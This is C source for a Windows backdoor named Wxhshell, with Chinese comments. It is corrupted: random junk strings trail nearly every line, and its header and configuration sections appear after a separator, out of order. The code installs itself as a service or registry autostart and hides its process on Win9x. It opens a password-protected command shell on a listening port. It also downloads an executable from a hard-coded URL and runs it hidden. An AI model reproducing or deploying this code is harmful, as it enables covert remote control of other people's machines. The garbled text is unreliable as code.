DWORD PebBaseAddress; >S8
n8U
DWORD AffinityMask; b 4f3ef
DWORD BasePriority; -q(*)N5.2
ULONG UniqueProcessId; 9fWR8iV
ULONG InheritedFromUniqueProcessId; h8 FV2"
} PROCESS_BASIC_INFORMATION; >2F9Tz,3
+-T|ov<
PROCNTQSIP NtQueryInformationProcess; j`+{FCB7
9Wg;M#c2Y|
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &Xc=PQ:I
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; IgRi(q^b-
P4LiU2C
HANDLE hProcess; bM2x
(E\O
PROCESS_BASIC_INFORMATION pbi; 7{]L{ j-
MEM(uBYKOb
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1h#/8X
if(NULL == hInst ) return 0; NZO86y/
ac6@E4 _
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f\r"7j
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ("YWJJ'H
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1<cx!=w'
; K,5qs
if (!NtQueryInformationProcess) return 0; | )br-?2
<9\Lv]ng
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); i/Nc)kKL
if(!hProcess) return 0; RN}joKV
D2J)qCK1)
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C^c<s
bc NyB$S
CloseHandle(hProcess); VrWQ] L
QpA$='
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #R7hk5/8n}
if(hProcess==NULL) return 0; 1Y%lt5,*
tvBLfqIr
HMODULE hMod; O.Y|},F
char procName[255]; r;{ggwY&J
unsigned long cbNeeded; $Ld-lQsL
ko|M2\
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _v(5vx_
{
#s' `bF^
CloseHandle(hProcess); 2bG92
FS!9 j8
if(strstr(procName,"services")) return 1; // 以服务启动 _z1Qr?cY
7IQaXcl
return 0; // 注册表启动 'T(Q
} ]
_W'-B
B.KK@
// 主模块 CEBu[TT/9
int StartWxhshell(LPSTR lpCmdLine) ]1eZ<le`6
{ hTWZIW@
SOCKET wsl; 0!RP7Sx
BOOL val=TRUE; '+ mI
int port=0; wp'[AR}
struct sockaddr_in door; lHPnAaue@
yE.st9m
if(wscfg.ws_autoins) Install(); nf[KD,f
=T#hd7O`V
port=atoi(lpCmdLine); K4H27SH
C~?p85
if(port<=0) port=wscfg.ws_port; (D6ks5Uui
4sX?O4p
WSADATA data; -m[ tYp,q
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; xA<-'8ST
C1(RgY|
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; &
P%#
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,izp^,`
door.sin_family = AF_INET; Zop/ MeI
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4^k8|#c
door.sin_port = htons(port); Dx=RLiU9
1r*yYm'
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s&+`>
closesocket(wsl); q(WGvl^r
return 1;
Lsai8 B
} .gNziDO
Ut C<TBr
if(listen(wsl,2) == INVALID_SOCKET) { \So)g)K
closesocket(wsl); P[$idRS&
return 1; P.g./8N`z
} Nq^o8q_
Wxhshell(wsl); Hyenn
WSACleanup(); ,Z
:2ba
eD3\>Y.z
return 0; C3N1t
YMy**
} W#kyD)(F
iQ1[60?)T
// 以NT服务方式启动 Wb#<ctM>
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L>&{<M_
{ pAqPHD=
DWORD status = 0; O*lIZ,!n
DWORD specificError = 0xfffffff; <AiE~l| D
]&B/rSC
serviceStatus.dwServiceType = SERVICE_WIN32; [6
"5
serviceStatus.dwCurrentState = SERVICE_START_PENDING; HRQfT>"/
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V$:%CIn
serviceStatus.dwWin32ExitCode = 0; b|may/xWH
serviceStatus.dwServiceSpecificExitCode = 0; %rf6>
serviceStatus.dwCheckPoint = 0; __1Hx?f
serviceStatus.dwWaitHint = 0; \TnK<83
{X<_Y<
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nv7)X2jja
if (hServiceStatusHandle==0) return; }sJ}c}b
4~&X]/_'
status = GetLastError(); ;j[gE
if (status!=NO_ERROR) &~x |w6M]J
{ X+HPdrT
serviceStatus.dwCurrentState = SERVICE_STOPPED; 6' \M:'<0e
serviceStatus.dwCheckPoint = 0; wuxOFlrg
serviceStatus.dwWaitHint = 0; r+6 DlT
a
serviceStatus.dwWin32ExitCode = status; @3 +
serviceStatus.dwServiceSpecificExitCode = specificError; a+CJJ3T-
SetServiceStatus(hServiceStatusHandle, &serviceStatus); #7sxb
return; m*h O@M
} ,1-idpnX
x9t%
serviceStatus.dwCurrentState = SERVICE_RUNNING; ~BgYD)ov
serviceStatus.dwCheckPoint = 0; n{qVF#N_
serviceStatus.dwWaitHint = 0; \}<J>R@
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); bE=[P}E
}
Jk:ZO|'Z
()$m9%x
// 处理NT服务事件,比如:启动、停止 u-bgk(u
VOID WINAPI NTServiceHandler(DWORD fdwControl) +afkpvj8
{ Sj*W|n\gj
switch(fdwControl) M0e&GR8<z>
{ kmlO}0
case SERVICE_CONTROL_STOP: u[4h|*'"|
serviceStatus.dwWin32ExitCode = 0; [H9<JdUZ
serviceStatus.dwCurrentState = SERVICE_STOPPED; V$iA3)7W%
serviceStatus.dwCheckPoint = 0; /,j'Vr\"
serviceStatus.dwWaitHint = 0; 8/y8tMm]
{
J-azBi
SetServiceStatus(hServiceStatusHandle, &serviceStatus); mi5bk>o
} /xr75|-8
return; `#r/L@QI
case SERVICE_CONTROL_PAUSE: x>Dix1b:.
serviceStatus.dwCurrentState = SERVICE_PAUSED; {K|ds($ 5
break; >MhZ(&iD
case SERVICE_CONTROL_CONTINUE: q1 BpE8
serviceStatus.dwCurrentState = SERVICE_RUNNING; Qw_>
l}k/
break; X'%BS
case SERVICE_CONTROL_INTERROGATE: hY *^rY'
break; 6Bd:R}yZP7
}; Uxe]T
SetServiceStatus(hServiceStatusHandle, &serviceStatus); _`laP5~
} hv#LKyp%
^)$T`
// 标准应用程序主函数 7s{['t
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }s#4m
{ '!4\H"t
(Hmh b}H
// 获取操作系统版本 y]!mN
OsIsNt=GetOsVer(); 4{ZVw/VP,-
GetModuleFileName(NULL,ExeFile,MAX_PATH); yFDt%&*n^
naeppBo
// 从命令行安装 mZ3Z8q}%P
if(strpbrk(lpCmdLine,"iI")) Install(); &Ot9"Aq:
,?%o ~
// 下载执行文件 YluvWHWi
if(wscfg.ws_downexe) { ]D^; Ca
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Y[m*
WinExec(wscfg.ws_filenam,SW_HIDE); 4
'vjU6gW
} j~cG#t]
gF;C% }
if(!OsIsNt) { Ly1t'{"7
// 如果时win9x,隐藏进程并且设置为注册表启动 bIk4?S
HideProc(); 46|LIc
}
StartWxhshell(lpCmdLine); =NPo<^Lae
} h^w# I
else S3QX{5t\
if(StartFromService()) UD5hk
// 以服务方式启动 jCg4$),b
StartServiceCtrlDispatcher(DispatchTable); xyXVWd[
else $z5C+K@
// 普通方式启动 KEq48+j
StartWxhshell(lpCmdLine); D6\k}4n-
)sK_k
U{\
return 0; SpEu>9g&
} =^zOM6E1ZF
ZKB27D_vg>
h<WTN_i}
3#F"UG2,_
=========================================== /
=v1.9(
+ eZn
N]|)O]/[
lZ`@ }^&
; H]]H!
/ >7G
" UVsF !0
fnFIw=d
#include <stdio.h> 1=~ ##/at
#include <string.h> 0Yr-Q;O<f
#include <windows.h> OPv~1h<[
#include <winsock2.h> e4.G9(
#include <winsvc.h> :<1PCX2
#include <urlmon.h> =RlAOgJ
gA2]kZg
#pragma comment (lib, "Ws2_32.lib") )Oj{x0{\Q
#pragma comment (lib, "urlmon.lib") sX`by\s,
|~Vq"6`
#define MAX_USER 100 // 最大客户端连接数 &iJvkt
#define BUF_SOCK 200 // sock buffer RTL@WI
#define KEY_BUFF 255 // 输入 buffer WtMDHfwqu\
d#I; e
#define REBOOT 0 // 重启 8Urj;KkD
#define SHUTDOWN 1 // 关机 S;nlC
^Uik{x
#define DEF_PORT 5000 // 监听端口 C33RXt$X
ZM57(D
#define REG_LEN 16 // 注册表键长度 0!1cHB/c
#define SVC_LEN 80 // NT服务名长度 ;PMy9H
7q#R,\
// 从dll定义API
n3s
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U{9yfy
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 88DMD"$B
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i| *r/
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -TNb=2en(
[>:9#n
// wxhshell配置信息 8Tp!b
%2.
struct WSCFG { In#m~nE[M
int ws_port; // 监听端口 [*Vo`WgbD
char ws_passstr[REG_LEN]; // 口令 V%FWZn^
int ws_autoins; // 安装标记, 1=yes 0=no ]sB%j@G
char ws_regname[REG_LEN]; // 注册表键名 a7laCHI
char ws_svcname[REG_LEN]; // 服务名 :HH3=.qAp`
char ws_svcdisp[SVC_LEN]; // 服务显示名 j$z!kd+%
char ws_svcdesc[SVC_LEN]; // 服务描述信息 (Lkcx06e
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 mnq1WU;<
int ws_downexe; // 下载执行标记, 1=yes 0=no m=^ihQ
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [|L~" BB
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v)v`896S`
j[:Iu#VR
}; &W>%E!F
@dvb%A&Pur
// default Wxhshell configuration g+KuK`\N%
struct WSCFG wscfg={DEF_PORT, kfkcaj4l]
"xuhuanlingzhe", z'k@$@:0XD
1, 7KV0g1GQ
"Wxhshell", VyOpPIP
"Wxhshell", 6"GHVFB
"WxhShell Service", tI+P&L"
"Wrsky Windows CmdShell Service", I@I-QiI
"Please Input Your Password: ", -1]8f
1, U#(#U0s*-
"http://www.wrsky.com/wxhshell.exe", VCvFCyAz
"Wxhshell.exe" e/<'HM T
}; KhNOxMZ
JcW<